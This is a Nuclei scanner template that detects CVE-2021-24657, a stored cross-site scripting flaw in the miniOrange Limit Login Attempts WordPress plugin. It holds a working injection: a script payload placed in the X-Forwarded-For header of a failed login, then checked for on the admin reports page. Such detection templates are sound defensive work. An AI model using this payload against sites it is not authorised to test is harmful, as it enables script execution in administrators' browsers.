id: CVE-2021-24657

info:
  name: Limit Login Attempts WordPress - Stored Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.
  impact: |
    Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement.
  remediation: |
    Update to version 4.0.50 or later.
  reference:
    - https://wordpress.org/plugins/miniorange-limit-login-attempts
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24657
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24657
    epss-score: 0.01582
    epss-percentile: 0.73098
    cwe-id: CWE-79
  metadata:
    verified: true
    max-requests: 3
    public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
  tags: cve,cve2021,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated

flow: http(1) && http(2) && http(3)

variables:
  rand: '{{rand_text_alpha(6, "abc")}}'

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        X-Forwarded-For:{{rand}}<script>alert(document.domain)</script>

        log={{rand}}&pwd={{rand}}&wp-submit=Log+In&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "login attempts remaining.")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=reports HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "login_reports", "{{rand}}", "<script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a00473045022100fdcb04cf35f9a45ffd5594a0ca71f95e4daa811df22061e87da82577b8a4127502206327547138f2b2891344aa802da9efcc806813886f4358f714f9e15bb7ff5ff3:922c64590222798bb761d5b6d8e72950